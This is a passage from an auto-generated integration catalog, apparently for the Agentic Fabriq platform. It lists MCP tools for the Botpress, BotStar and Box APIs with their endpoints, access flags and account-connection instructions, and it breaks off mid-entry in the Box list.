Retrieves a list of all tables associated with your bot. (Tables API) via GET /v1/tables GET /api/v1/botpress/v1/tables. Scopes: api. botpress_get_v1_tables_by_table (read) — Retrieves detailed information about a specific table, identified by its name or unique identifier. (Tables API) via GET /v1/tables/{table} GET /api/v1/botpress/v1/tables/{table}. Scopes: api. botpress_get_v1_tables_by_table_row (read) — Fetches a specific row from a table using the row's unique identifier. (Tables API) via GET /v1/tables/{table}/row GET /api/v1/botpress/v1/tables/{table}/row. Scopes: api. botpress_patch_v1_chat_states_by_type_by_id_by_name (write) — Updates the [State](#schema_state) object by setting the values of the parameters passed. (Runtime API) via PATCH /v1/chat/states/{type}/{id}/{name} PATCH /api/v1/botpress/v1/chat/states/{type}/{id}/{name}. Scopes: api. botpress_post_v1_admin_bots (write) — Create bot (Admin API) via POST /v1/admin/bots POST /api/v1/botpress/v1/admin/bots. Scopes: api. botpress_post_v1_admin_integrations (write) — Create integration (Admin API) via POST /v1/admin/integrations POST /api/v1/botpress/v1/admin/integrations. Scopes: api. botpress_post_v1_admin_integrations_validate (write) — Perform a validation of an integration creation request (Admin API) via POST /v1/admin/integrations/validate POST /api/v1/botpress/v1/admin/integrations/validate. Scopes: api. botpress_post_v1_admin_workspace_members (write) — Add a member to the workspace (Admin API) via POST /v1/admin/workspace-members POST /api/v1/botpress/v1/admin/workspace-members. Scopes: api. botpress_post_v1_admin_workspaces (write) — Create workspace (Admin API) via POST /v1/admin/workspaces POST /api/v1/botpress/v1/admin/workspaces. Scopes: api. botpress_post_v1_chat_actions (write) — Call an action (Runtime API) via POST /v1/chat/actions POST /api/v1/botpress/v1/chat/actions. Scopes: api. botpress_post_v1_chat_conversations (write) — Creates a new [Conversation](#schema_conversation). When creating a new [Conversation](#schema_conversation), the required tags must be provided. See the specific integration for more details. (Runtime API) via POST /v1/chat/conversations POST /api/v1/botpress/v1/chat/conversations. Scopes: api. botpress_post_v1_chat_conversations_by_id_participants (write) — Add a [Participant](#schema_participant) to a [Conversation](#schema_conversation). (Runtime API) via POST /v1/chat/conversations/{id}/participants POST /api/v1/botpress/v1/chat/conversations/{id}/participants. Scopes: api. botpress_post_v1_chat_conversations_get_or_create (write) — Retrieves the [Conversation](#schema_conversation) object containing given tags. If the conversation does not exist, it will be created. Tags will be updated if they are set in the request body. (Runtime API) via POST /v1/chat/conversations/get-or-create POST /api/v1/botpress/v1/chat/conversations/get-or-create. Scopes: api. botpress_post_v1_chat_events (write) — Creates a new [Event](#schema_event). When creating a new [Event](#schema_event), the required tags must be provided. See the specific integration for more details. (Runtime API) via POST /v1/chat/events POST /api/v1/botpress/v1/chat/events. Scopes: api. botpress_post_v1_chat_integrations_configure (write) — An integration can call this endpoint to configure itself. When `identifiers` fails because a value is already claimed by another instance (or the sharing cap is reached), the whole call is rejected with a 409 and no changes from the request are applied. (Runtime API) via POST /v1/chat/integrations/configure POST /api/v1/botpress/v1/chat/integrations/configure. Scopes: api. botpress_post_v1_chat_messages (write) — Creates a new [Message](#schema_message). When creating a new [Message](#schema_message), the required tags must be provided. See the specific integration for more details. (Runtime API) via POST /v1/chat/messages POST /api/v1/botpress/v1/chat/messages. Scopes: api. botpress_post_v1_chat_messages_get_or_create (write) — Retrieves the [Message](#schema_message) object for given discriminating tags. If the message does not exist, it will be created. If the message already exists, its tags and payload will be updated with the provided values if they are defined. (Runtime API) via POST /v1/chat/messages/get-or-create POST /api/v1/botpress/v1/chat/messages/get-or-create. Scopes: api. botpress_post_v1_chat_states_by_type_by_id_by_name (write) — Overrides the [State](#schema_state) object by setting the values of the parameters passed. (Runtime API) via POST /v1/chat/states/{type}/{id}/{name} POST /api/v1/botpress/v1/chat/states/{type}/{id}/{name}. Scopes: api. botpress_post_v1_chat_states_by_type_by_id_by_name_expiry (write) — Updates the [State](#schema_state) expiry. (Runtime API) via POST /v1/chat/states/{type}/{id}/{name}/expiry POST /api/v1/botpress/v1/chat/states/{type}/{id}/{name}/expiry. Scopes: api. botpress_post_v1_chat_states_by_type_by_id_by_name_get_or_set (write) — Retrieves the [State](#schema_state) object for a valid identifiers. If the state does not exist, it creates a new state. (Runtime API) via POST /v1/chat/states/{type}/{id}/{name}/get-or-set POST /api/v1/botpress/v1/chat/states/{type}/{id}/{name}/get-or-set. Scopes: api. botpress_post_v1_chat_users (write) — Creates a new [User](#schema_user). When creating a new [User](#schema_user), the required tags must be provided. See the specific integration for more details. (Runtime API) via POST /v1/chat/users POST /api/v1/botpress/v1/chat/users. Scopes: api. botpress_post_v1_chat_users_get_or_create (write) — Retrieves the [User](#schema_user) object for given discriminating tags. If the user does not exist, it will be created. If the user already exists, its name, pictureUrl, attributes, and tags will be updated with the provided values. (Runtime API) via POST /v1/chat/users/get-or-create POST /api/v1/botpress/v1/chat/users/get-or-create. Scopes: api. botpress_post_v1_files_by_idorkey_by_destinationkey (write) — Copy file (Files API) via POST /v1/files/{idOrKey}/{destinationKey} POST /api/v1/botpress/v1/files/{idOrKey}/{destinationKey}. Scopes: api. botpress_post_v1_tables (write) — Initiates the creation of a new table based on the provided schema, excluding system-managed fields like IDs and timestamps. (Tables API) via POST /v1/tables POST /api/v1/botpress/v1/tables. Scopes: api. botpress_post_v1_tables_by_sourcetableid_duplicate (write) — Duplicates the table schema & content (Tables API) via POST /v1/tables/{sourceTableId}/duplicate POST /api/v1/botpress/v1/tables/{sourceTableId}/duplicate. Scopes: api. botpress_post_v1_tables_by_table (write) — Retrieves information about a specific table if it exists; otherwise, creates a new table based on the provided schema. (Tables API) via POST /v1/tables/{table} POST /api/v1/botpress/v1/tables/{table}. Scopes: api. botpress_post_v1_tables_by_table_rows (write) — Inserts one or multiple new rows into the specified table. (Tables API) via POST /v1/tables/{table}/rows POST /api/v1/botpress/v1/tables/{table}/rows. Scopes: api. botpress_post_v1_tables_by_table_rows_delete (write, destructive) — Allows selective deletion of rows or complete clearance of a table. (Tables API) via POST /v1/tables/{table}/rows/delete POST /api/v1/botpress/v1/tables/{table}/rows/delete. Scopes: api. botpress_post_v1_tables_by_table_rows_find (write) — Enables the search and filtering of rows within a table based on specific criteria. This operation supports complex queries for advanced data manipulation and retrieval. (Tables API) via POST /v1/tables/{table}/rows/find POST /api/v1/botpress/v1/tables/{table}/rows/find. Scopes: api. botpress_post_v1_tables_by_table_rows_upsert (write) — Inserts or updates rows based on a key. If a row exists, it is updated; otherwise, a new row is created. (Tables API) via POST /v1/tables/{table}/rows/upsert POST /api/v1/botpress/v1/tables/{table}/rows/upsert. Scopes: api. botpress_put_v1_admin_account_me (write) — Update details of the account associated with authenticated user (Admin API) via PUT /v1/admin/account/me PUT /api/v1/botpress/v1/admin/account/me. Scopes: api. botpress_put_v1_admin_bots_by_id (write) — Update bot (Admin API) via PUT /v1/admin/bots/{id} PUT /api/v1/botpress/v1/admin/bots/{id}. Scopes: api. botpress_put_v1_admin_integrations_by_id (write) — Update integration (Admin API) via PUT /v1/admin/integrations/{id} PUT /api/v1/botpress/v1/admin/integrations/{id}. Scopes: api. botpress_put_v1_admin_integrations_by_id_validate (write) — Perform a validation of an integration update request (Admin API) via PUT /v1/admin/integrations/{id}/validate PUT /api/v1/botpress/v1/admin/integrations/{id}/validate. Scopes: api. botpress_put_v1_admin_workspace_members_by_id (write) — Update the member of a workspace (Admin API) via PUT /v1/admin/workspace-members/{id} PUT /api/v1/botpress/v1/admin/workspace-members/{id}. Scopes: api. botpress_put_v1_admin_workspaces_by_id (write) — Update workspace (Admin API) via PUT /v1/admin/workspaces/{id} PUT /api/v1/botpress/v1/admin/workspaces/{id}. Scopes: api. botpress_put_v1_chat_conversations_by_id (write) — Update a [Conversation](#schema_conversation) object by setting the values of the parameters passed. Any parameters not provided will be left unchanged. (Runtime API) via PUT /v1/chat/conversations/{id} PUT /api/v1/botpress/v1/chat/conversations/{id}. Scopes: api. botpress_put_v1_chat_messages_by_id (write) — Updates a message tags and payload. The message type cannot be changed. Calling this operation from an integration, to update an incoming message, will not invoke the bot. The other way around it also true; Calling this operation from the bot, to update an outgoing message, will not invoke the integration. (Runtime API) via PUT /v1/chat/messages/{id} PUT /api/v1/botpress/v1/chat/messages/{id}. Scopes: api. botpress_put_v1_chat_users_by_id (write) — Update a [User](#schema_user) object by setting the values of the parameters passed. Any parameters not provided will be left unchanged. (Runtime API) via PUT /v1/chat/users/{id} PUT /api/v1/botpress/v1/chat/users/{id}. Scopes: api. botpress_put_v1_files (write) — Creates or updates a file using the `key` parameter as unique identifier. Updating a file will erase the existing content of the file. Upload the file content by sending it in a PUT request to the `uploadUrl` returned in the response. (Files API) via PUT /v1/files PUT /api/v1/botpress/v1/files. Scopes: api. botpress_put_v1_files_by_id (write) — Update file metadata, without updating the file content. (Files API) via PUT /v1/files/{id} PUT /api/v1/botpress/v1/files/{id}. Scopes: api. botpress_put_v1_tables_by_table (write) — Updates the schema or the name of an existing table. (Tables API) via PUT /v1/tables/{table} PUT /api/v1/botpress/v1/tables/{table}. Scopes: api. botpress_put_v1_tables_by_table_column (write) — Renames an existing column within a table to better reflect its content or usage. The operation targets a specific table and requires the current and new column names. (Tables API) via PUT /v1/tables/{table}/column PUT /api/v1/botpress/v1/tables/{table}/column. Scopes: api. botpress_put_v1_tables_by_table_rows (write) — Updates specified rows in a table, allowing partial success with detailed feedback on errors. (Tables API) via PUT /v1/tables/{table}/rows PUT /api/v1/botpress/v1/tables/{table}/rows. Scopes: api. ================================================================================ ## BotStar URL: https://www.agenticfabriq.com/integrations/botstar Section: Integrated Tools BotStar — 25 MCP tools Provider key: botstar. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. botstar_delete_bots_by_botid_attributes_by_attributeid (write, destructive) — Permanently delete one bot-level attribute. The conversation flow stops resolving it, so deleting an attribute a published bot reads will change how that bot behaves via DELETE /bots/{botId}/attributes/{attributeId} DELETE /api/v1/botstar/bots/{botId}/attributes/{attributeId}. Scopes: api. botstar_delete_bots_by_botid_cms_entities_by_entityid (write, destructive) — Permanently delete a CMS entity and every item stored in it. Any part of the conversation flow that reads this entity stops working via DELETE /bots/{botId}/cms_entities/{entityId} DELETE /api/v1/botstar/bots/{botId}/cms_entities/{entityId}. Scopes: api. botstar_delete_bots_by_botid_cms_entities_by_entityid_fields (write, destructive) — Delete fields from a CMS entity, named by a comma-separated list of their `unique_name`s. The value every item held for those fields goes with them via DELETE /bots/{botId}/cms_entities/{entityId}/fields DELETE /api/v1/botstar/bots/{botId}/cms_entities/{entityId}/fields. Scopes: api. botstar_delete_bots_by_botid_cms_entities_by_entityid_items_by_entityitemid (write, destructive) — Permanently delete one item from a CMS entity. To take an item out of the bot without losing it, update its status to `disabled` instead via DELETE /bots/{botId}/cms_entities/{entityId}/items/{entityItemId} DELETE /api/v1/botstar/bots/{botId}/cms_entities/{entityId}/items/{entityItemId}. Scopes: api. botstar_get_bots (read) — List every bot on the BotStar account the API token belongs to, each with its id, name and team name. The token is issued at ACCOUNT level, so this is the way to discover the botId every other tool needs via GET /bots GET /api/v1/botstar/bots. Scopes: api. botstar_get_bots_by_botid (read) — Fetch one bot's id, name and team name. Answers 404 "Cannot found bot for ID" for a bot id that is not on this account via GET /bots/{botId} GET /api/v1/botstar/bots/{botId}. Scopes: api. botstar_get_bots_by_botid_attributes (read) — List the bot's bot-level attributes -- account-wide values the conversation flow reads, each with its id, name, data type and value. These are the BOT's attributes, not a subscriber's via GET /bots/{botId}/attributes GET /api/v1/botstar/bots/{botId}/attributes. Scopes: api. botstar_get_bots_by_botid_cms_entities (read) — List the bot's CMS entities -- the content types behind its galleries and lists (Product, Category, Reviews) -- each with its id, name and field definitions via GET /bots/{botId}/cms_entities GET /api/v1/botstar/bots/{botId}/cms_entities. Scopes: api. botstar_get_bots_by_botid_cms_entities_by_entityid (read) — Fetch one CMS entity with its full field list. This is where a field's `unique_name` comes from, which is the key every CMS item tool uses to carry that field's value via GET /bots/{botId}/cms_entities/{entityId} GET /api/v1/botstar/bots/{botId}/cms_entities/{entityId}. Scopes: api. botstar_get_bots_by_botid_cms_entities_by_entityid_items (read) — List the items stored in one CMS entity, page by page, optionally filtered by name or by enabled/disabled status. Each item carries `_id` plus one key per entity field, named by that field's `unique_name` via GET /bots/{botId}/cms_entities/{entityId}/items GET /api/v1/botstar/bots/{botId}/cms_entities/{entityId}/items. Scopes: api. botstar_get_bots_by_botid_cms_entities_by_entityid_items_by_entityitemid (read) — Fetch one CMS item with the value it holds for every field of its entity via GET /bots/{botId}/cms_entities/{entityId}/items/{entityItemId} GET /api/v1/botstar/bots/{botId}/cms_entities/{entityId}/items/{entityItemId}. Scopes: api. botstar_get_bots_by_botid_users_by_userid (read) — Fetch one subscriber of the bot -- a person who has talked to it on a connected channel -- with their profile fields and custom attributes. The id is BotStar's subscriber id, not a channel id; an unknown one answers 400 "Cannot found audience for ID" via GET /bots/{botId}/users/{userId} GET /api/v1/botstar/bots/{botId}/users/{userId}. Scopes: api. botstar_patch_bots_by_botid_attributes_by_attributeid (write) — Change a bot-level attribute's value or description. The attribute's name and data type cannot be changed here -- delete and recreate it to change either via PATCH /bots/{botId}/attributes/{attributeId} PATCH /api/v1/botstar/bots/{botId}/attributes/{attributeId}. Scopes: api. botstar_patch_bots_by_botid_cms_entities_by_entityid (write) — Rename a CMS entity. Only the entity's name is editable here -- use the field tools to change its fields via PATCH /bots/{botId}/cms_entities/{entityId} PATCH /api/v1/botstar/bots/{botId}/cms_entities/{entityId}. Scopes: api. botstar_patch_bots_by_botid_cms_entities_by_entityid_fields (write) — Rename fields of a CMS entity, or replace the predefined options of a select field. Each entry is addressed by its `unique_name`, which is not itself editable via PATCH /bots/{botId}/cms_entities/{entityId}/fields PATCH /api/v1/botstar/bots/{botId}/cms_entities/{entityId}/fields. Scopes: api. botstar_patch_bots_by_botid_cms_entities_by_entityid_items_by_entityitemid (write) — Update an item's name, its status, or the value it holds for any field of its entity. Only the keys sent are changed via PATCH /bots/{botId}/cms_entities/{entityId}/items/{entityItemId} PATCH /api/v1/botstar/bots/{botId}/cms_entities/{entityId}/items/{entityItemId}. Scopes: api. botstar_patch_bots_by_botid_users_by_userid (write) — Update a subscriber's profile fields (first name, last name, email, gender, birthday) and any custom attributes defined on the bot. At least one field must be sent via PATCH /bots/{botId}/users/{userId} PATCH /api/v1/botstar/bots/{botId}/users/{userId}. Scopes: api. botstar_post_bots (write) — Create a new bot on the account from a name and return its id. The bot is created empty -- it has no conversation flow until one is built in the BotStar editor via POST /bots POST /api/v1/botstar/bots. Scopes: api. botstar_post_bots_by_botid_attributes (write) — Create a bot-level attribute from a name, a data type (string, number or date) and a value. The name must be unique within the bot via POST /bots/{botId}/attributes POST /api/v1/botstar/bots/{botId}/attributes. Scopes: api. botstar_post_bots_by_botid_cms_entities (write) — Create a CMS entity (a content type) from a name and a list of fields. BotStar adds a Name and a Status field of its own; the fields sent here are added after them via POST /bots/{botId}/cms_entities POST /api/v1/botstar/bots/{botId}/cms_entities. Scopes: api. botstar_post_bots_by_botid_cms_entities_by_entityid_fields (write) — Add one or more fields to an existing CMS entity. Each field carries a name, a `unique_name` (the key items use for its value) and a data type; `single_option` and `multiple_options` fields also carry their predefined options via POST /bots/{botId}/cms_entities/{entityId}/fields POST /api/v1/botstar/bots/{botId}/cms_entities/{entityId}/fields. Scopes: api. botstar_post_bots_by_botid_cms_entities_by_entityid_items (write) — Create an item in a CMS entity. `name` is required; every other value is keyed by the entity field's `unique_name`, and `status` decides whether the bot may show it via POST /bots/{botId}/cms_entities/{entityId}/items POST /api/v1/botstar/bots/{botId}/cms_entities/{entityId}/items. Scopes: api. botstar_post_bots_by_botid_publish (write) — Publish the bot's draft, promoting everything currently in the draft environment to live. This is what makes edits -- flows, CMS content and attributes -- visible to the people talking to the bot via POST /bots/{botId}/publish POST /api/v1/botstar/bots/{botId}/publish. Scopes: api. botstar_post_bots_by_botid_users_attributes (write) — Define a new custom attribute on the bot's subscribers, from a field name and a field type (string, number, date or boolean). Every subscriber can then carry a value for it via POST /bots/{botId}/users/attributes POST /api/v1/botstar/bots/{botId}/users/attributes. Scopes: api. botstar_post_messages (write) — Send a message from a bot to one of its subscribers, addressed by BotStar subscriber id. The message body follows BotStar's own JSON message format (docs.botstar.com/docs/en/message-api). Channels such as Facebook Messenger only allow a message outside the 24-hour window when `options.message_tag` names an approved tag via POST /messages POST /api/v1/botstar/messages. Scopes: api. ================================================================================ ## Box URL: https://www.agenticfabriq.com/integrations/box Section: Integrated Tools Box — 288 MCP tools Provider key: box. Scopes: none. Connect: AF hosted — your end user signs in to their account using Agentic Fabriq's OAuth app (POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate, redirect to oauth_url); BYO — your org admin registers the OAuth app, then your end user signs in to their account through it (POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate, redirect to oauth_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. box_delete_ai_agents_by_agent_id (write, destructive) — Delete ai agents id via DELETE /ai_agents/{agent_id} DELETE /api/v1/box/ai_agents/{agent_id}. Scopes: none. box_delete_collaboration_whitelist_entries_by_collaboration_whitelist_entry_id (write, destructive) — Delete collaboration whitelist entries id via DELETE /collaboration_whitelist_entries/{collaboration_whitelist_entry_id} DELETE /api/v1/box/collaboration_whitelist_entries/{collaboration_whitelist_entry_id}. Scopes: none. box_delete_collaboration_whitelist_exempt_targets_by_collaboration_whitelist_exempt_target_id (write, destructive) — Delete collaboration whitelist exempt targets id via DELETE /collaboration_whitelist_exempt_targets/{collaboration_whitelist_exempt_target_id} DELETE /api/v1/box/collaboration_whitelist_exempt_targets/{collaboration_whitelist_exempt_target_id}. Scopes: none. box_delete_collaborations_by_collaboration_id (write, destructive) — Delete collaborations id via DELETE /collaborations/{collaboration_id} DELETE /api/v1/box/collaborations/{collaboration_id}. Scopes: none. box_delete_comments_by_comment_id (write, destructive) — Delete comments id via DELETE /comments/{comment_id} DELETE /api/v1/box/comments/{comment_id}. Scopes: none. box_delete_device_pinners_by_device_pinner_id (write, destructive) — Delete device pinners id via DELETE /device_pinners/{device_pinner_id} DELETE /api/v1/box/device_pinners/{device_pinner_id}. Scopes: none. box_delete_file_requests_by_file_request_id (write, destructive) — Delete file requests id via DELETE /file_requests/{file_request_id} DELETE /api/v1/box/file_requests/{file_request_id}. Scopes: none. box_delete_files_by_file_id (write, destructive) — Delete files id via DELETE /files/{file_id} DELETE /api/v1/box/files/{file_id}. Scopes: none. box_delete_files_by_file_id_metadata_by_scope_by_template_key (write, destructive) — Delete files id metadata id id via DELETE /files/{file_id}/metadata/{scope}/{template_key} DELETE /api/v1/box/files/{file_id}/metadata/{scope}/{template_key}. Scopes: none. box_delete_files_by_file_id_metadata_enterprise_securityclassification_6vmvochwuwo (write, destructive) — Delete files id metadata enterprise security classification 6 vm vochw u wo via DELETE /files/{file_id}/metadata/enterprise/securityClassification-6VMVochwUWo DELETE /api/v1/box/files/{file_id}/metadata/enterprise/securityClassification-6VMVochwUWo. Scopes: none. box_delete_files_by_file_id_metadata_global_boxskillscards (write, destructive) — Delete files id metadata global box skills cards via DELETE /files/{file_id}/metadata/global/boxSkillsCards DELETE /api/v1/box/files/{file_id}/metadata/global/boxSkillsCards. Scopes: none. box_delete_files_by_file_id_trash (write, destructive) — Delete files id trash via DELETE /files/{file_id}/trash DELETE /api/v1/box/files/{file_id}/trash. Scopes: none. box_delete_files_by_file_id_versions_by_file_version_id (write, destructive) — Delete files id versions id via DELETE /files/{file_id}/versions/{file_version_id} DELETE /api/v1/box/files/{file_id}/versions/{file_version_id}. Scopes: none. box_delete_files_by_file_id_watermark (write, destructive) — Delete files id watermark via DELETE /files/{file_id}/watermark DELETE /api/v1/box/files/{file_id}/watermark. Scopes: none. box_delete_files_upload_sessions_by_upload_session_id (write, destructive) — Delete files upload sessions id via DELETE /files/upload_sessions/{upload_session_id} DELETE /api/v1/box/files/upload_sessions/{upload_session_id}. Scopes: none. box_delete_folder_locks_by_folder_lock_id (write, destructive) — Delete folder locks id via DELETE /folder_locks/{folder_lock_id} DELETE /api/v1/box/folder_locks/{folder_lock_id}. Scopes: none. box_delete_folders_by_folder_id (write, destructive) — Delete folders id via DELETE /folders/{folder_id} DELETE /api/v1/box/folders/{folder_id}. Scopes: none. box_delete_folders_by_folder_id_metadata_by_scope_by_template_key (write, destructive) — Delete folders id metadata id id via DELETE /folders/{folder_id}/metadata/{scope}/{template_key} DELETE /api/v1/box/folders/{folder_id}/metadata/{scope}/{template_key}. Scopes: none. box_delete_folders_by_folder_id_metadata_enterprise_securityclassification_6vmvochwuwo (write, destructive) — Delete folders id metadata enterprise security classification 6 vm vochw u wo via DELETE /folders/{folder_id}/metadata/enterprise/securityClassification-6VMVochwUWo DELETE /api/v1/box/folders/{folder_id}/metadata/enterprise/securityClassification-6VMVochwUWo. Scopes: none. box_delete_folders_by_folder_id_trash (write, destructive) — Delete folders id trash via DELETE /folders/{folder_id}/trash DELETE /api/v1/box/folders/{folder_id}/trash. Scopes: none. box_delete_folders_by_folder_id_watermark (write, destructive) — Delete folders id watermark via DELETE /folders/{folder_id}/watermark DELETE /api/v1/box/folders/{folder_id}/watermark. Scopes: none. box_delete_group_memberships_by_group_membership_id (write, destructive) — Delete group memberships id via DELETE /group_memberships/{group_membership_id} DELETE /api/v1/box/group_memberships/{group_membership_id}. Scopes: none. box_delete_groups_by_group_id (write, destructive) — Delete groups id via DELETE /groups/{group_id} DELETE /api/v1/box/groups/{group_id}. Scopes: none. box_delete_integration_mappings_slack_by_integration_mapping_id (write, destructive) — Delete integration mappings slack id via DELETE /integration_mappings/slack/{integration_mapping_id} DELETE /api/v1/box/integration_mappings/slack/{integration_mapping_id}. Scopes: none. box_delete_integration_mappings_teams_by_integration_mapping_id (write, destructive) — Delete integration mappings teams id via DELETE /integration_mappings/teams/{integration_mapping_id} DELETE /api/v1/box/integration_mappings/teams/{integration_mapping_id}. Scopes: none. box_delete_legal_hold_policies_by_legal_hold_policy_id (write, destructive) — Delete legal hold policies id via DELETE /legal_hold_policies/{legal_hold_policy_id} DELETE /api/v1/box/legal_hold_policies/{legal_hold_policy_id}. Scopes: none. box_delete_legal_hold_policy_assignments_by_legal_hold_policy_assignment_id (write, destructive) — Delete legal hold policy assignments id via DELETE /legal_hold_policy_assignments/{legal_hold_policy_assignment_id} DELETE /api/v1/box/legal_hold_policy_assignments/{legal_hold_policy_assignment_id}. Scopes: none. box_delete_metadata_cascade_policies_by_metadata_cascade_policy_id (write, destructive) — Delete metadata cascade policies id via DELETE /metadata_cascade_policies/{metadata_cascade_policy_id} DELETE /api/v1/box/metadata_cascade_policies/{metadata_cascade_policy_id}. Scopes: none. box_delete_metadata_taxonomies_by_namespace_by_taxonomy_key (write, destructive) — Delete metadata taxonomies id id via DELETE /metadata_taxonomies/{namespace}/{taxonomy_key} DELETE /api/v1/box/metadata_taxonomies/{namespace}/{taxonomy_key}. Scopes: none. box_delete_metadata_taxonomies_by_namespace_by_taxonomy_key_nodes_by_node_id (write, destructive) — Delete metadata taxonomies id id nodes id via DELETE /metadata_taxonomies/{namespace}/{taxonomy_key}/nodes/{node_id} DELETE /api/v1/box/metadata_taxonomies/{namespace}/{taxonomy_key}/nodes/{node_id}. Scopes: none. box_delete_metadata_templates_by_scope_by_template_key_schema (write, destructive) — Delete metadata templates id id schema via DELETE /metadata_templates/{scope}/{template_key}/schema DELETE /api/v1/box/metadata_templates/{scope}/{template_key}/schema. Scopes: none. box_delete_retention_policies_by_retention_policy_id (write, destructive) — Delete retention policies id via DELETE /retention_policies/{retention_policy_id} DELETE /api/v1/box/retention_policies/{retention_policy_id}. Scopes: none. box_delete_retention_policy_assignments_by_retention_policy_assignment_id (write, destructive) — Delete retention policy assignments id via DELETE /retention_policy_assignments/{retention_policy_assignment_id} DELETE /api/v1/box/retention_policy_assignments/{retention_policy_assignment_id}. Scopes: none. box_delete_shield_information_barrier_segment_members_by_shield_information_barrier_segment_member_id (write, destructive) — Delete shield information barrier segment members id via DELETE /shield_information_barrier_segment_members/{shield_information_barrier_segment_member_id} DELETE /api/v1/box/shield_information_barrier_segment_members/{shield_information_barrier_segment_member_id}. Scopes: none. box_delete_shield_information_barrier_segment_restrictions_by_shield_information_barrier_segment_restriction_id (write, destructive) — Delete shield information barrier segment restrictions id via DELETE /shield_information_barrier_segment_restrictions/{shield_information_barrier_segment_restriction_id} DELETE /api/v1/box/shield_information_barrier_segment_restrictions/{shield_information_barrier_segment_restriction_id}. Scopes: none. box_delete_shield_information_barrier_segments_by_shield_information_barrier_segment_id (write, destructive) — Delete shield information barrier segments id via DELETE /shield_information_barrier_segments/{shield_information_barrier_segment_id} DELETE /api/v1/box/shield_information_barrier_segments/{shield_information_barrier_segment_id}. Scopes: none. box_delete_storage_policy_assignments_by_storage_policy_assignment_id (write, destructive) — Delete storage policy assignments id via DELETE /storage_policy_assignments/{storage_policy_assignment_id} DELETE /api/v1/box/storage_policy_assignments/{storage_policy_assignment_id}. Scopes: none. box_delete_task_assignments_by_task_assignment_id (write, destructive) — Delete task assignments id via DELETE /task_assignments/{task_assignment_id} DELETE /api/v1/box/task_assignments/{task_assignment_id}. Scopes: none. box_delete_tasks_by_task_id (write, destructive) — Delete tasks id via DELETE /tasks/{task_id} DELETE /api/v1/box/tasks/{task_id}. Scopes: none. box_delete_users_by_user_id (write, destructive) — Delete users id via DELETE /users/{user_id} DELETE /api/v1/box/users/{user_id}. Scopes: none. box_delete_users_by_user_id_avatar (write, destructive) — Delete users id avatar via DELETE /users/{user_id}/avatar DELETE /api/v1/box/users/{user_id}/avatar. Scopes: none. box_delete_users_by_user_id_email_aliases_by_email_alias_id (write, destructive) — Delete users id email aliases id via DELETE /users/{user_id}/email_aliases/{email_alias_id} DELETE /api/v1/box/users/{user_id}/email_aliases/{email_alias_id}. Scopes: none. box_delete_web_links_by_web_link_id (write, destructive) — Delete web links id via DELETE /web_links/{web_link_id} DELETE /api/v1/box/web_links/{web_link_id}. Scopes: none. box_delete_web_links_by_web_link_id_trash (write, destructive) — Delete web links id trash via DELETE /web_links/{web_link_id}/trash DELETE /api/v1/box/web_links/{web_link_id}/trash. Scopes: none. box_delete_webhooks_by_webhook_id (write, destructive) — Delete webhooks id via DELETE /webhooks/{webhook_id} DELETE /api/v1/box/webhooks/{webhook_id}. Scopes: none. box_get_ai_agent_default (read) — Get ai agent default via GET /ai_agent_default GET /api/v1/box/ai_agent_default. Scopes: none. box_get_ai_agents (read) — Get ai agents via GET /ai_agents GET /api/v1/box/ai_agents. Scopes: none. box_get_ai_agents_by_agent_id (read) — Get ai agents id via GET /ai_agents/{agent_id} GET /api/v1/box/ai_agents/{agent_id}. Scopes: none. box_get_authorize (read) — Get authorize via GET /authorize GET /api/v1/box/authorize. Scopes: none. box_get_collaboration_whitelist_entries (read) — Get collaboration whitelist entries via GET /collaboration_whitelist_entries GET /api/v1/box/collaboration_whitelist_entries. Scopes: none. box_get_collaboration_whitelist_entries_by_collaboration_whitelist_entry_id (read) — Get collaboration whitelist entries id via GET /collaboration_whitelist_entries/{collaboration_whitelist_entry_id} GET /api/v1/box/collaboration_whitelist_entries/{collaboration_whitelist_entry_id}. Scopes: none. box_get_collaboration_whitelist_exempt_targets (read) — Get collaboration whitelist exempt targets via GET /collaboration_whitelist_exempt_targets GET /api/v1/box/collaboration_whitelist_exempt_targets. Scopes: none. box_get_collaboration_whitelist_exempt_targets_by_collaboration_whitelist_exempt_target_id (read) — Get collaboration whitelist exempt targets id via GET /collaboration_whitelist_exempt_targets/{collaboration_whitelist_exempt_target_id} GET /api/v1/box/collaboration_whitelist_exempt_targets/{collaboration_whitelist_exempt_target_id}. Scopes: none. box_get_collaborations (read) — Get collaborations via GET /collaborations GET /api/v1/box/collaborations. Scopes: none. box_get_collaborations_by_collaboration_id (read) — Get collaborations id via GET /collaborations/{collaboration_id} GET /api/v1/box/collaborations/{collaboration_id}. Scopes: none. box_get_collections (read) — Get collections via GET /collections GET /api/v1/box/collections. Scopes: none. box_get_collections_by_collection_id (read) — Get collections id via GET /collections/{collection_id} GET /api/v1/box/collections/{collection_id}. Scopes: none. box_get_collections_by_collection_id_items (read) — Get collections id items via GET /collections/{collection_id}/items GET /api/v1/box/collections/{collection_id}/items. Scopes: none. box_get_comments_by_comment_id (read) — Get comments id via GET /comments/{comment_id} GET /api/v1/box/comments/{comment_id}. Scopes: none. box_get_device_pinners_by_device_pinner_id (read) — Get device pinners id via GET /device_pinners/{device_pinner_id} GET /api/v1/box/device_pinners/{device_pinner_id}. Scopes: none. box_get_enterprises_by_enterprise_id_device_pinners (read) — Get enterprises id device pinners via GET /enterprises/{enterprise_id}/device_pinners GET /api/v1/box/enterprises/{enterprise_id}/device_pinners. Scopes: none. box_get_events (read) — Get events via GET /events GET /api/v1/box/events. Scopes: none. box_get_file_requests_by_file_request_id (read) — Get file requests id via GET /file_requests/{file_request_id} GET /api/v1/box/file_requests/{file_request_id}. Scopes: none. box_get_file_version_legal_holds (read) — Get file version legal holds via GET /file_version_legal_holds GET /api/v1/box/file_version_legal_holds. Scopes: none. box_get_file_version_legal_holds_by_file_version_legal_hold_id (read) — Get file 